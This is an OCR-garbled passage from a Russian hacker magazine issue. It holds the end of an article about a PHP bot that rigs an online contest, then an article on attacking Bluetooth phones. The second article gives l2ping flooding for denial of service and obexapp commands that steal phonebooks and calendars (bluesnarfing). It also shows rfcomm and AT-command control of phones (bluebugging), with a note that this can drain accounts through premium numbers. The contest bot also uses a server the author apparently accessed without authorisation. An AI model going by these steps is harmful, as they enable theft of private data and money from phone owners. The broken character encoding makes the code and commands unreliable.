РНР не грохнул наш скрипт по причине дли- 
тельного времени выполнения? Так вот — 
это только необходимое условие, но не 
достаточное. Дело в том, что если скрипт не 
будет отдавать \л/еЬ-серверу никаких дан- 
ных для передачи пользователю, то \л/еЬ- 
сервер по своему таймауту прикроет этот 
скрипт (причем без какого-либо сообще- 
ния об ошибке — браузер напишет пользо- 
вателю, что документ успешно загружен). 
Так вот — чтобы этого не случилось, наш бот 
должен периодически отдавать что-нибудь 
\л/еЬ-серверу. Много отдавать не надо, так 
как \л/еЬ-сервер все это будет передавать 
пользователю, а это трафик, который мы ми- 
нимизируем. Я решил выво- 
дить на экран номер стро- 
ки ІЖ'а в файле Ііпкз.рТір. 
Что будешь выводить ты — 
решай сам, помни только о 
минимизации трафика. Те- 
перь настало время вер- 
нуться к функции розТЭаТаО: 
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[код страницы со статистикой] 



[функция, за клиента «отп- 
равляющая форму» на сер- 
вер] 

(ипсііоп розЮаІа($ісІЬ, 
$питЬ, $ЬаІІ, $изег_іф $ІгозІ 
= '\л/\л/ѵѵ.******.ги', $рогТ = 80) 



[хакер 05 [77] 05 > ВЗЛОМ 057 ] 



[ХАКЕР 05 [77] 05 > ВЗЛОМ 058 ] 




[общение с конкурентами за главный приз] 



{ 

$рагатз = "~1 ВЕР0А57ВЕ1 1 0РО467А\г\п“. 

“Сопіепі-Оіброзіііоп: Іогт-сіаіа; 
пате=\"ісІЬ\"\г\п". 

"\г\п".$ісіЬ."\г\п". 

”-1 ВЕР0А57ВЕ1 1 0РО467А\г\п". 
''СопІепі-ОізрозКіоп: Іогт-сіаіа; 
пате=\"питЬ\"\г\п". 

"\г\п " . $ п и т Ь . "\г\п " . 

"~1 ВЕР0А57ВЕ1 1 0РО467А\г\п". 
“СопІепі-ОізрозКіоп: Іогт-сіаіа; 
пате=Ѵ'туЬаІ\"\г\п". 

"\г\п".$ЬаІІ."\г\п". 

"-1 ВЕР0А57ВЕ1 1 0РО467А\г\п". 
“Сопіепі-ОізрозКіоп: Іогт-сіаіа; 
пате=\"ісІ\"\г\п". 

"\г\п " . $ и зе г_і сі . "\г\п " . 

”-1 ВЕР0А57ВЕ1 1 0РО467А-\г\п"; 

$роз( = "Р05Т БНр://".$ГюзІ."/асІсІЬаІ.рГір 
НТТР/1 .0\г\п". 

“РІозІ: $Гю8(\г\п". 

“Сопіепі-Туре: пиіИіраг(/(огт-сіа1а; Ьоипб- 
агу=1 ВЕР0А57ВЕ1 1 0РО467А\г\п". 
''СопІепМѳпдІИ: " ,зігІеп($рагатз) . “\г\п\г\п" . 
"$рагатз\г\п\г\п"; 

$(р = (зоскореп($(іозі, $рогІ, $еггпо, $ѳггз(г, 5); 
іР(!$Рр){ есГю “$еггз(г ($еггпо)<Ьг>\п"; } еІзе{ 
1ри(з($1р, $роз1); 

1сІозе($1р); 

}} 



Работает она довольно просто. Первым 
делом устанавливаем соединение, отк- 
рывая сокет, и записываем в него наш 
РОЗТ-запрос. А вот формат этого запро- 
са, как и всю функцию розТОаТаО, я тебе 
настоятельно рекомендую проштудиро- 
вать и юзать в дальнейшем. Дело в том, 
что, например, в хелпе к РНР написана 
другая функция, с помощью которой мож- 
но отправить на сервер данные методом 
РОЗТ, но у меня она не заработала. Зато 
функция, которую я написал самостоя- 
тельно, меня еще ни разу не подводила. 

[первая победа] На следующий день я ис- 
пытал своего бота. Йоу! Все прошло как 
надо! Буквально за три часа я уделал сво- 
их коллег и вышел на первое место. На 
этом я и остановился. К вечеру же конку- 
ренты опять догнали и обошли меня на 
1000 баллов, но я не особенно рас- 
строился, так как было мощное лекарство 
от такого положения дел. 

День был удачный: я собрал около 700 сох- 
раненных картинок с баллами. Придя до- 
мой, я за 15 минут набросал скрипт, кото- 
рый сравнивал картинки друг с другом и 




[вот что говорит мануал о функции зе(_1іте_1іті(()] 

удалял дубликаты. Скрипт этот несложный, 
и, я думаю, ты напишешь его без труда. С 
помощью геаРРІЮ нужно прочитать имена 
всех картинок одного балла в массив, а за- 
тем с помощью ГгеасІО читать содержимое 
діГ-файлов, сравнивать их между собой и, 
используя ипІіпкО, удалять дубликаты. 

У меня через 20 минут после включения 
компьютера уже был результат: в каждой 
папке, показывающей количество баллов, 
осталось ровно по три файла. Чудо-скрипт 
этой мерзкой игры генерировал всего три 
(!) различные картинки на каждый из деся- 
ти различных баллов. Ай да программисты, 
просто имбецилы! Все, делаем полный ав- 
томат — пишем второго бота. 

Собственно, как ты понимаешь, для этого 
нужно лишь слегка изменить код первого бо- 
та. А именно в функции деГРадеО необходи- 
мо отказаться от общения с пользователем 
и количество баллов определять самостоя- 
тельно. Все предельно просто: пробегаем 
по всем сохраненным у нас локально кар- 
тинкам и сравниваем их с той, что у нас есть. 
Как только совпадение найдено — все, 
балл определен (это имя папки, в которой 
лежит идентичная искомой картинка). 

[боевая готовность] Ну что ж, к завтрашнему 
дню у меня все было готово. А завтрашний 
день — это, во-первых, суббота, выходной, а 
во-вторых, последний, решающий день игры. 
Сидеть за компьютером в субботу, контроли- 
ровать действия конкурентов и работу своего 
бота не очень хотелось, и я решил написать 
еще один скриптик. Его задача была такова: 
взять страничку со статистикой по игре, про- 
парсить ее, узнать, насколько я опере- 
жаю/отстаю от своих коллег, и полученную 
инфу отправить в виде ЗМ5 на сотовый. Ну как 
тебе? На самом деле реализация этого про- 
ще, чем описание. Отправка сообщений про- 
изводится с сайта нашего любимого операто- 
ра сотовой связи. 

Комментариев тут не будет, так как это для 
тебя лишь повторение пройденного сегод- 
ня материала — тут все знакомо. 

Я залил второго бота с полученной кол- 
лекцией картинок на свой сервак, кото- 
рый стоит у меня на работе, туда же пос- 
ледовал и скрипт отправки статистики на 
сотовый. Я также положил своего бота на 
один московский сервер, к которому у 
меня был доступ (даже не думай спра- 
шивать, откуда он у меня :)). Это было 
сделано на случай, если с главным сер- 
вером вдруг возникнут проблемы: на ра- 
боту-то в субботу не попасть, да и проб- 
лемой может быть банальное выключе- 
ние света :). 

На своем серваке, работающем под 
РгееВЗЭ, я добавил в /е1с/сгоп1аЬ строчку 
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[результаты конкурса, я — только третий] 



2,21,39 * 24 7 * гооі /изг/ІосаІ/Ьіп/рНр 
-1 Иоте/******7зепс1зтз.рГір 

Это обеспечило меня тремя смс'ками в 
час с информацией о положении в табли- 
це лидеров. 

[последний день] Суббота проходила как 
обычно — отдых, ролики, пиво. Иногда я 
просматривал сообщения, приходящие 
на сотовый. Мои соперники увеличили от- 
рыв с одной тысячи до трех и на этом оста- 
новились. Причем эти чудаки установили 
себе одинаковое количество баллов и 
разместились на первом и втором месте. 
Я был третьим. Пока третьим. 

Был вечер. На улице было очень тепло — 
час назад я вернулся домой и отдыхал, 
наслаждаясь тишиной и весенней прохла- 
дой. Часы показывали 19:54. 

Пора действовать. Я нажал на клавишу, и 
модем, щелкнув, начал набирать номер. 
Соединившись с компом на работе, кото- 
рый работал у меня круглосуточно, я за- 
пустил на нем свою любимую Мозиллу и 
набрал в адресной сроке Шр://ха- 
хос1-.ги/Ьо1~/іпс1ех.рЬр?зІеер=4. 

[позитивные сообщения] Вскоре мне 
пришла ЗМЗ, из которой было видно, что 
разрыв за полчаса сократился на 200 
баллов. Мало. До 23:59 надо успеть наб- 
рать под 3000, чтобы выйти на первое 
место. А для этого нужна скорость в 450 
баллов за 30 минут. Что ж, надо подклю- 
чать московский сервер. Я открыл у Мо- 
зиллы еще одну вкладку и набрал 
Іііір://ха-хосі2.ги/іѳтр/Ьоі/ 
іпс1ѳх.рІ~ір?5Іевр=2. Это должно было уве- 
личить скорость набора баллов втрое. А 
со стороны все выглядело так, как если 
бы пять человек (трое в Москве и двое в 
Урюпинске) очень активно ходили по сай- 
ту и набирали баллы на один Ю. 

Из следующего сообщения я увидел, что 
разрыв сокращается на 600 баллов за пол- 
часа. То, что нужно! Я откинулся в кресле, 
расслабился и стал смотреть фильм «Глади- 
атор». Комнату наполнял звон мечей, рев тол- 
пы Колизея и потрясающий саундтрек. Пери- 
одически помигивала Иокіа, сообщая о пос- 
тоянно сокращающемся разрыве. Часы по- 
казывали 21 :43, и это была своеобразная фи- 
нишная прямая :). Казалось, уже ничто меня 
не остановит, и я точно выиграю приз. 

[внезапный облом] Но внезапно случилось 
непредвиденное — баллы перестали на- 
бираться и скрипты на сайте стали выда- 
вать странную ошибку, говорящую о ка- 
ком-то переполнении. К сожалению, эту 
проблему не устранили быстро, и из-за ту- 
пости администраторов мне так и не уда- 
лось занять первое место, я в итоге доволь- 
ствовался только третьим, пропустив впе- 
ред своих :). Однако я не расстроился — 
был получен позитивный опыт накрутки та- 
ких систем и эта история однозначно пош- 
ла мне на пользу :) © 




Не отвлекайтесь на мелочи! 

Снимайте главное 
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ЮНИТЫ КРЕАТИФФ КОДИНГ ІІІЧІХОЮ СЦЕНА [ВЗЛОМ] ИМПЛАНТ РС.гОЫЕ РЕППІІМ ньюсы 




Сверлим ВІиеІооІП 

ВШЕТООТН — ЧРЕЗВЫЧАЙНО УДОБНАЯ ШТУКА. В САМОМ 
ДЕЛЕ: ПЕРЕСЛАТЬ КАРТИНКУ, ТЕЛЕФОННЫЙ КОНТАКТ, 
МЕЛОДИЮ? БЕЗ ПРОБЛЕМ! ПОИГРАТЬ ВДВОЕМ В ИГРУШ- 
КУ НА ЛЕКЦИИ? ЧТО МОЖЕТ БЫТЬ ПРИЯТНЕЕ! ОДНАКО 
НЕЛИШНЕ ТЕБЕ БУДЕТ ЗНАТЬ, ЧТО КАЖДЫЙ РАЗ, КОГДА 
ТЫ ПОЛЬЗУЕШЬСЯ ЭТИМ ПРОТОКОЛОМ, ТЫ В ОПАСНОС- 
ТИ. ЛЮБОЙ ЧЕЛОВЕК В РАДИУСЕ ДЕСЯТИ МЕТРОВ ЗАП- 
РОСТО МОЖЕТ УТАЩИТЬ СЕКРЕТНЫЙ НОМЕР ИЗ ТВОЕЙ 
ТЕЛЕФОННОЙ КНИГИ, ПОЧИТАТЬ ЗМЗ-СООБЩЕНИЯ, ПОС- 
МОТРЕТЬ ФОТОГРАФИИ И ДАЖЕ ПРИСВОИТЬ СЕБЕ ДЕНЬ- 
ГИ С ТВОЕГО СЧЕТА. НЕОЖИДАННЫЙ ПОВОРОТ СОБЫ- 
ТИЙ, НЕ ПРАВДА ЛИ? :) I Никита Кислицин (пікі1ш@геаІ.хакѳр.ги) 

Взлом Ыиеіооііі-устройств на практике 

Да, приятель, ты все верно понял. Сейчас я расскажу тебе о том, каким 
образом мобильные хакеры могут атаковать устройства, оснащенные 
ЫиеІооІ'Гі-модулями. Но прежде чем переходить к самому сладкому, 
советую тебе прочесть статью про внутреннее устройство протокола 
ВІиеіооТГі, которую ты найдешь в этом же номере. Это позволит тебе 
лучше понимать, о чем я говорю. 

[станокдля опытов] Прежде чем приступать к нашим изысканиям, необ- 
ходимо определиться со средой, в которой мы будем работать. Толко- 
вого ЫиеТооТГі-софта под ѴѴІпсІо\л/з практически нет, вернее, у меня 
сложилось такое ощущение, что его нет в принципе. Поэтому я буду ис- 
пользовать в своих опытах ЕІпіх, конкретнее — РгееВЗЭ 5.3, которая сто- 
ит на моем ноутбуке. Что касается ЫиеТооТП-девайса, то я заюзал 
обычный десятидолларовый адаптер, втыкаемый в 115В, и сейчас рас- 
скажу, как такую железку подцепить под фряхой. 

ВІиеТооТРі-стэк во ЕгееВЗЭ реализовал наш соотечественник Максим 
Евменкин в виде модуля пд_иЬР. В пятой фряхе этот модуль присутствует 
по умолчанию, для более старых версий его необходимо собрать от- 
дельно — сорцы можно получить на нашем диске, а также на сайте 
ѵѵѵѵ\ѵ.дѳосі1'іѳз.сот/т_ѳѵтѳпкіп. Чтобы поднять девайс, нужно подгру- 
зить модуль следующей командой: кісііоасі пд_иЫ. Затем необходимо 
подключить адаптер к ІІЗВ-порту и выполнить сценарий, активирующий 
интерфейс: /еІ^с/гс.Ыиѳіоо'И т зіагі иЬЮ. В консоли появится информа- 
ция об устройстве, его адрес и т.д. Теперь можно начинать работу. 
Вместе с модулем поставляются несколько утилит, которые сыграют 
ключевую роль в наших экспериментах. Я опишу самые главные прог- 
раммы и покажу, что с их помощью можно делать. 

[стандартный софт] Первым делом следует упомянуть утилиту Тюсопітоі, ко- 
торая выполняет все операции, связанные с интерфейсом НСІ. Пользовать- 
ся этой программой чрезвычайно просто: 

$ Иссопігоі -п имя_Исі_узяа команда 

Тут следует заметить, что имя узла — это не то же самое, что и имя ин- 
терфейса: так, например, интерфейсу иЬТО соответствует имя 
иЬТОТюі. В качестве команды может быть указано несколько десятков 
допустимых НСГопераций, среди которых имеет смысл выделить 
лишь несколько. 

Первая из них осуществляет поиск в окрестностях активных сіізсоѵ- 
егаЫе-устройств и называется Іпциігу. Пользуются ей следующим 
образом: 




В качестве результата работы утилита выведет инфор- 
мацию о найденных устройствах — нас, прежде все- 
го, интересуют их адреса. 

Команда Иетоіе_Ыате_^едиезі получает имя уст- 
ройства по известному адресу и используется таким 
образом: 

$ Иссопігоі -п иЫОИсі Пето(е_Магпе_Педиез1 
00:0а:с19:7':88:0о 

После выполнения запроса на экране появится сим- 
волическое имя устройства с указанным адресом. 
Полный список доступных команд можно получить, 
набрав в консоли тап /т ссопігоі либо обратившись к 
документации на диске. А мы идем дальше. 

[ЫиеІооІ'Гі пинг-понг] В Ыиеіюоі'і'ѵстэке есть протокол 
1.2САР (І_одісаІ І_іпк Сопітоі апсі Абар+аКоп Ргоіосоі), 
позволяющий интерфейсам более высокого уровня 
передавать и получать пакеты данных длиной до 64 Кб. 
І.2САР использует концепцию так называемых кана- 
лов отдельных логических соединений поверх радио- 
линков. Каждый такой канал привязан к некоторому 
протоколу (один протокол может занимать несколько 
каналов, но не наоборот) таким образом, что каждый 
пакет 1.2САР, получаемый каналом, перенаправляет- 
ся к соответствующему протоколу более высокого 
уровня. 

Есть две утилиты, предоставляющие доступ к этому 
протоколу, первая из них носит символическое назва- 
ние І2ріпд. Как несложно догадаться, эта тулза пред- 
назначена для проверки связи между устройствами и 
с виду работает так же, как и істр ріпд: 




На диске ты можешь так- 
же найти забавный ролик, 
в котором веселые парни 
при помощи красивой пуш- 
ки-антенны блюджекают 
телефончик Иокіа на рас- 
стоянии в 1 милю. Рог іип, 
что называется. 



На нашем диске ты най- 
дешь все упомянутые в 
статье программы и драй- 
вера, а также кучу разно- 
образной документации. 



ВОР — это протокол обна- 
ружения сервисов, кото- 
рый дает возможность 
клиентам осуществлять по- 
иск услуг, предоставляе- 
мых серверными приложе- 
ниями. Во РгееВВО прос- 
мотреть список ресурсов 
можно при помощи утили- 
ты вбрсопігоі: збрсопігоі -а 
ВО_АООР Ьгоже. 



Следует понимать, 
что взлом ЫиеіооМ -уст- 
ройств — это точно такое 
же преступление, как и 
взлом сайта. Не следует на- 
рушать законов. Основная 
цель этого материала — 
проинформировать тебя о 
реальности угрозы атак на 
твои Ыиеіооіб-девайсы. 



В^еТооіМ СИМС 



# І2ріпд -а 00:0а:сі9:7І:88:0сі 

О Ьуіез 7гот 00:0а:с19:7Р88:0с) зѳр_по=0 Ііте=37.823 тз гѳзиІ1=0 

Но это, конечно, только с виду. Обрати внимание, что многие уст- 
ройства возвращают в ответ на І.2САР есНо гериезі пустые паке- 
ты, так что 0 ЬуТез — это в порядке вещей. 

Помимо тестирования связи, у этой утилиты есть еще одно интерес- 
ное применение — Оо5-атаки на синезубые устройства. Подобно 
істр-флуду, существует гипотетическая возможность завалить с голо- 



вой любой ЫиеІоаНт-девайс І.2САР пакетами с целью прервать актив- 
ные пользовательские соединения. Как я уже отмечал выше, макси- 
мальный размер пакета составляет 65 килобайт, и, в общем-то, понят- 
но, что для достижения цели необходимо использовать несколько уст- 
ройств в режиме максимальной производительности. Таюке есть воз- 
можность вести «обстрел» в несколько потоков с каждого из доступ- 
ных устройств. При этом нужно экспериментально определить опти- 
мальную длину пакетов и количество тредов — в своих опытах я при- 
шел к тому, что лучше всего работать в три-четыре потока — именно в 
этом случае достигается максимум используемой мощности канала. 



[хакер 05 [77] 05 > взлом 061 ] 




[ХАКЕР 05 [77] 05 > взлом 062 ] 






[пример использования Иссопігоі и І2ріпд] 



[захваченная Ьсісіштір’ом работа І2ріпд] 



[установка оЬехарр — из портов удобнее!] 



[крадем записные книги] Теперь расскажу 
об одной из самых сладких вещей в этой 
статье — о краже пользовательской инфор- 
мации из телефонов по ЫиеТооТТі, так назы- 
ваемом ВІиеЗпагІіпд'е. Предположим, в 
людном месте (например в кафе в центре 
города) я насканил несколько доступных 
девайсов. С большой долей вероятности у 
меня получится украсть пользовательские 
данные по ЫиеТооТТі так, что этого не заме- 
тят их владельцы. Виной тому — кривая под- 
держка интерфейса ОВЕХ в ряде телефо- 
нов (в том числе, например, в мегапопуляр- 
ных ЗопуЕгісззоп Т68, Т610, Т630 и ІЧокіа 6310І). 
Однако прежде чем начинать бизонить, не 
лишним будет разобраться, что такое ОВЕХ 
и как осуществлена его поддержка во 
РгееВЗР. Протокол ОЬІесІ" Ехсітапде — по- 
пулярная фишка, используемая для прос- 
той передачи файлов между портативными 
устройствами. Например если нужно без 
геморроя передать с одного телефона на 
другой несколько контактов или ежеднев- 
ник, то всегда юзают ОВЕХ, это очень удоб- 
но. Сервер и ОВЕХ-клиент реализованы во 
РгееВЗР в виде пакета оЬехарр, который 
наколбасил уже знакомый нам Макс, и его 
даже включили в список портов — 
соттз/оЬехарр. Устанавливать тулзу про- 
ще всего именно оттуда, если не хочется 
геморроя со всеми зависимостями и про- 
чей ботвой. Если же ты не ищешь легких пу- 
тей — забирай с диска сорцы и собирай 
руками, а мы пока научимся пользоваться 
тулзой. Делается это просто: 

оЬехарр -а 00:0а:сІ9:71:88:0сІ -С 10 

Здесь флаг -а указывает на адрес устрой- 
ства, в то время как -С определяет Г5РСОММ 
канал, — ОВЕХ висит на десятом. После того 
как произведено подключение к удаленно- 
му устройству, можно выполнять некоторые 
команды. Самые главные и интересные для 
нас называются дѳі и риТ. Первая, понятное 
дело, позволяет скачивать файлы, а вторая 
— заливать их на телефон. У тебя, наверное, 
появился вопрос — какие файлы, о чем я? 
Дело в том, что вся информация предос- 
тавляется ОВЕХ'ом в виде логической фай- 
ловой системы. Причем от телефона к теле- 
фону не меняется ни одна из описанных в 
протоколе вещей и структура каталогов в 
целом одинаковая. Так, например, теле- 
фонная книжка доступна по адресу Іеіе- 
сот/рЬ.ѵсІ, а календарь с напоминания- 
ми лежит в файле ТеІесот/саІ.ѵсз. 

Все это замечательно, прекрасно и очень 
удобно. Впечатление портит только один 



факт: огромная куча популярнейших теле- 
фонов позволяет неавторизованным устрой- 
ствам получать доступ к ОВЕХ'у. У меня без 
проблем получилось украсть телефонную 
книжку со своего старого ЗопуЕгісззоп Т68І, 
пали под натиском и абсолютно все Т610, 
которые мне попались под руку. Также уяз- 
вим целый ряд телефонов ІЧокіа и Зіетепз — 
проблема, как видишь, очень серьезная. 

Но довольно философии, расскажу лучше, 
как я крал собственную телефонную книж- 
ку по ЫиеІооІТт :). 

Подключившись к ОВЕХ'у, я набрал команду 
деі и в ответ на запрос имени скачиваемого 
файла ввел ІеІесот/рЬ.ѵсІ. Затем оЬехарр 
попросила указать локальное имя, под кото- 
рым следует сохранить телефонную книгу, и 
задумалась на несколько секунд — это время 
требовалось для передачи данных. После это- 
го в текущей директории и в самом деле ока- 
зался файл, внутри которого я не без удивле- 
ния обнаружил знакомые имена и телефоны :(. 
Мобильник, пока я крал контакты, даже и не 
подал виду, что происходит такая подстава. Те- 
лефонная книга представляет собой обычный 
текстовый файл с записями в формате ѵСагсІ, 
это специальный стандарт для представления 
электронных визитных карточек (на нашем 
диске ты найдешь полную спецификацию это- 
го формата). Чтобы тебе было проще разоб- 
раться, приведу пример ѵСагсі-контакта: 

[пример контакта в формате ѵСагсІ] 

ВЕѲІМ:ѴСАЕЮ 

ѴЕВ5ІОМ:2.1 

Ы:ВегсігізИепко;Акакіі 

ТЕІ_;НОМЕ:+70957777777 

ТЕЦ;СЕИ:+79036666666 

ТЕІ_;ѴѴОВК:+79052222222 

ТЕЦРАХ: +70954444444 

ЕШ:ѴСАРЮ 

Абсолютно аналогичным образом можно ук- 
расть электронный дневник ТеІесот/саІ.ѵсз, 
который выглядит примерно так: 

[формат календаря с напоминаниями] 

ВЕОІккѴСАІ-ЕІЧЮАВ 

ѴЕПЗІОкЫ.О 

ВЕѲІМ:ѴЕѴЕЫТ 

РТЗТ АВТ :20041 026Т2350002 

РТЕІ\Ю:20041 027Т0050002 

ЗІІММАВѴ:ІЧе гаЬуС киріі’ ріѵка 

ААІ_АВМ:20041 026Т2350002 

САТЕ60В1ЕЗ:М15СЕИАМЕ0118 

ЕШ^ЕѴЕЫТ 

ЕЫ0:\/СА1_ЕЧ0АВ 



[синие жуки крадут деньги] Не менее интерес- 
но другое направление взлома — так называ- 
емый ВІиеВиддіпд, удаленное управление те- 
лефоном по ЫиеІооІЕі при помощи АТ-команд 
и протокола РЕСОММ. Что это позволяет де- 
лать? Очень многое! Например, можно зап- 
росто читать чужие ЗМЗ-сообщения по Ыие- 
(ооНп, можно заставить телефон позвонить по 
определенному номеру и даже отправить 
текстовое сообщение. Благодаря этому воз- 
можно даже банально красть деньги с теле- 
фонных счетов. Как? К сожалению, очень 
просто :(. Элеісгронный вор вполне может ано- 
нимно зарегистрировать специальный номер, 
звонки и смс-сообщения на который будут 
стоить хороших денег. А заставить уязвимую 
мобилу позвонить по определенному номеру 
— это пара секунд. 

Расскажу, как это работает. Существует 
утилита г(сотт_$ррсІ, которая эмулирует 
последовательный порт на Ыиеіооііп-уст- 
ройствах. В качестве виртуального после- 
довательного порта используется псевдо- 
терминал. Сейчас я покажу, как можно 
подключиться к сервису ЗегіаІ Рогі на уда- 
ленном девайсе: 

# г(сотт_зррсІ -а 00:0а:сІ9:7(:88:0с1 -1 

/с!еѵ/11ур4 

Для работы с псевдотерминалом можно 
использовать программу си: 

# си -1 1(ур4 -з 9600 

После этого уже можно общаться с устрой- 
ством при помощи АТ-команд. Обрати вни- 
мание, что для г1сотт_$ррсІ необязательно 
явно указывать канал, к которому следует 
подключаться. Утилита сама умеет его оп- 
ределять при помощи протокола ЗРР. 

Нужно отметить тот факт, что с моим подопыт- 
ным Т68 эта атака не прошла: для подключе- 
ния к нужному порту требовалась аутенти- 
фикация устройства. Однако, насколько 
мне известно, целый ряд телефонов Ыокіа 
подвержен этой атаке (сообщения об этом 
есть даже на официальном сайте Мокіа). 

Что касается использования АТ-команд, то тут 
все просто. Стоит только обратиться к офици- 
альной документации, которую ты найдешь 
на диске, и все вопросы отпадут сами собой. 

[обнаружение невидимок] Обнаружение в 
эфире устройств, которые находятся в режи- 
ме поп-сІізсоѵегаЫе, — довольно интересная 
задача. Ведь устройство откликается только 
на запросы, адресованные лично ему, а для 
этого необходимо знать его адрес. 



[ИНТЕРЕСНЫЕ ФАЙЛЫ В ОВЕХ] 

іеіесот/беѵіпіо.іхі — серийный номер, версия прошив- 
ки и поддерживаемые настройки. Возможно только 
чтение. 

Іеіесот/ііс.іхі — текущее время и дата, можно изме- 
нять. 



(еІесот/рЬ/ІиісІ/сс.Іод — счетчик изменений телефон- 
ной книги, показывает количество произведенных 
операций: создания, изменения и удаления записей. 
ІеІесот/саІ.ѵсз — все календарные записи. 
іеіесот/саі/іиісі/.ѵсз - создает новую календарную за- 
пись. 



ІеІесот/рЬ.ѵсі — телефонная книга, только чтение. 
ІеІесот/рЬ/ІиісІ/. ѵсі - создание новой телефонной запи- 
си, ѵѵгііе опіу. 

ІеІесот/рЬ/О.ѵсІ — личная телефонная запись, 
гѵѵ-режим. 

ІеІесот/рЬ/іпіо.Іод — кодировки, длины полей (телефо- 
на и имени), общее количество, число занятых и сво- 
бодных записей. 

ІѳІѳсот/рЬ/ІиісІ/###.Іод — лог-файл изменений теле- 
фонной книги. Ведется не во всех телефонах, вместо 
### необходимо подставить дату, изменения за кото- 
рую интересуют. 



ІеІесот/саІ/іпІо.Іод — кодировки, длины полей (теле- 
фона и имени), количество занятых и свободных запи- 
сей и общее количество. 

іѳІесот/саІ/ІиісІ/###.Іод — лог-файл изменений календа- 
ря, пишется не во всех телефонах. Вместо ### нужно 
подставить дату, изменения за которую интересуют. 
іеіесот/саі/іиісі/сс.іод — счетчик изменений календаря, 
показывает количество произведенных операций: соз- 
дания, изменения и удаления записей. 



шшш.ІгееІ>5СІ.огд.иа/і1ос/ги_іиі.КОІ8- 

РІ/Іюокз/ІіапіІЬоок/пеІтогк-ШиеІооиі.ІіІтІ 

шшш.іхЫ.сот/тоЫІе/геѵіеш/оЬех.зкІтІ 




Со схожей проблемой можно столкнуться 
и в обычных компьютерных сетях — там все 
решается сканированием всего интере- 
сующего адресного диапазона. 

В случае же с ЫиеГооГР решить задачу на 
бумаге помогает этот же подход, однако 
практическая реализация не такая уж и 
тривиальная. Все дело в том, что в адрес- 
ном пространстве одного производителя 
ВТ-устройств находится 256*256*256=16,7 
миллионов возможных адресов. И получа- 
ется, что для того, чтобы найти конкретный 
активный адрес, надо просканировать су- 
щественную часть этого диапазона. Одна- 
ко на практике для этого нужно довольно 
много времени. 

Для решения этой задачи есть специаль- 
ная утилита от @$Гаке с красочным названи- 
ем РесІРапд. По неизвестной мне причине 
она больше не доступна на официальном 
сайте компании, поэтому на нашем диске 
ты можешь найти эксклюзивную копию :). К 
сожалению, собрать эту софтину под фря- 
хой мне не удалось. Зато она на ура соби- 
рается под І_іпих с ВТ-стэком ВІиеД потому 
что создавалась именно под эту систему. 
Пользоваться ей чрезвычайно просто: 

,/гесНапд -п 4 -г зІагКіпізЬ -1 Іітеоиі 

Здесь зіагі — начальный адрес, ІіпізГі — ко- 
нечный, Іітеоиі — таймаут запросов, по 
истечении которого хост считается несу- 
ществующим. Авторы РесІРапд утвержда- 



ют, что полный перебор диапазона для од- 
ного производителя занимает полтора ча- 
са. Врут, наверное :). 

У меня возникла идея написать свой прос- 
тенький скрипт, который, используя станда- 
ртные утилиты вроде І2ріпд или Ргссопітоі, 
будет сканировать адресные диапазоны, 
отыскивая устройства-невидимки. Самый 
быстрый вариант, который у меня получил- 
ся, использовал именно І2ріпд. Причем я 
заметил, что при работе в несколько пото- 
ков скорость заметно увеличивается. 
Минимальный отклик от работающего уст- 
ройства составляет примерно 0,02 секун- 
ды. При этом я заметил, что он в целом ма- 
ло различается. С ростом количества по- 
токов (п) время проверки одного адреса 
растет примерно как 0,02+(п-1)*(1+0,1*п). 
При этом производительность зависит от п 
так: п/(0,02+(п-1)*(1+0,1*п)). Если вычислить 
максимум этой функции, то окажется, что 
оптимальнее всего использовать три- 
четыре потока одновременно. Однако при 
этом, увы, до приемлемой скорости рабо- 
ты еще далековато :(. 

[реклама] Ты, конечно, читал статью в РС 
2опе про ВІиеЗаскіпд в январском номере. 
Как видишь, прием сообщений от неавто- 
ризованных пользователей — не самый 
страшный грех синего зуба :). Вообще, ко- 
нечно, этот блюджекинг — просто детские 
шалости. Однако одно интересное нап- 
равление у этой фишки есть: ВІиеЗрат, не- 



ШрМгіііпіІе.огд 

штт.раІошігеІеав.сот/ЫиеІооІк/ 

тѵіѵ.І/іеЬипкег.пеІ/аесигіІу/ЫиеІооІІі.ІіІт. 

авторизованная рассылка рекламы. Напи- 
сать программу, которая бы рассылала 
всем доступным устройствам определен- 
ное сообщение, на проверку совсем не 
сложно. Да что уж тут, такая программа 
уже есть. Причем под винду! Называется 
она «МееІіпдРоіпК и найти ее можно на 
нашем диске. Софтина сама сканирует 
весь окрестный эфир в поисках братьев по 
разуму и рассылает всем новыѵ девайсам 
сообщения, определяемые юзером. Ис- 
пользовать ее чрезвычайно просто, для 
этого не нужно обладать ровным счетом 
никакими знаниями. Однако применение 
можно ей найти весьма забавное. 
Например, мне пришло в голову, что если 
бы я открывал свою пивную, то непременно 
бы торговал в ней вкусной и качественной 
шавермой. Более того, гордился бы своей 
продукцией и старался ее разрекламиро- 
вать. И мигом бы реализовал такой 
рекламный ход: установил бы в пивной 
ЫиеІооИѵточку доступа с направленной 
антенной, которая бы била метров на 200 в 
направлении, откуда идет основной поток 
людей. И рассылал бы с помощью этой ан- 
тенны сообщения примерно такого содер- 
жания: «Горячая шаверма с сочным мясом 
через 200 м». Зуб даю: у моей шавермы ми- 
гом бы появился настоящий фан-клуб :) © 



[ВНЕШНЯЯ АНТЕННА ДЛЯ ВШЕТООТН-АДАПТЕРА] 

При занятии ЫиеІооІГі-весельем любого взломщика 
очень скоро начинает бесить ограничение, которое 
накладывает сама технология: абсолютное большин- 
ство устройств сейчас способно нормально работать 
на расстоянии до 10 метров. Это означает, что нужно 
быть довольно близко к своей жертве и постоянно за 
ней передвигаться, если злодейская акция еще не за- 
вершена. Не всегда это бывает удобно, что уж гово- 
рить! Поэтому настоящие мачо используют в своей 
работе внешние антенны для Ыиеіооііт-модулей. Разу- 
меется, вполне можно купить культурное устройство с 
аккуратненьким выходом и подключить к нему гото- 
вую антеннку. Но это не по-киберпанковски, приятель! 
Мы с тобой сделаем свою собственную антенну и 
подключим ее к стандартному копеечному адаптеру. 
Прежде всего, надо понимать, что ЫиеІооІН работает 
абсолютно на тех же частотах, что и стандарт 
802. 1 1 а/Ь/д, поэтому все, что мы писали об изготовле- 



нии антенн для ѴѴІ-РІ, применимо и для ЫиеІооШ-моду- 
лей — за инструкциями, картинками, а также книгой 
об СВЧ-антеннах советую тебе обратиться к нашему 
диску. Что же касается переделки самого адаптера, 
то она минимальна! Необходимо лишь отпаять станда- 
ртную антенну, просверлить в корпусе дырочку свер- 
лом на 4 мм и установить в отверстии ММСХ-разъем 
для подключения внешней антенны. 
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КРЕАТИФФ КОДИНГ ІІМХОЮ СЦЕНА [ВЗЛОМ] ИМПЛАНТ РС_20ЫЕ РЕПРШМ НЬЮСЫ 
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Не стоит забывать, что все 
